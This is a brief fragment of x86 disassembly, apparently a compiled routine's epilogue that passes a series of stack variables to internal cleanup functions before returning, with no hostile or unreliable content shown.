call fcn.004045dc
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xbc]
call fcn.004045b8
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00404d08
lea eax, [ebp - 0xa0]
call fcn.004045b8
lea eax, [ebp - 0x90]
call fcn.004045b8
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0x74]
call fcn.004045b8
lea eax, [ebp - 0x6c]
mov edx, 4
call fcn.004045dc
lea eax, [ebp - 0x44]
mov edx, 3
call fcn.004045dc
lea eax, [ebp - 0x19]
mov edx, dword [0x470878]
call fcn.00405348
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.004045dc
lea eax, [ebp - 0xf4]
mov edx, 5
call fcn.004045dc
ret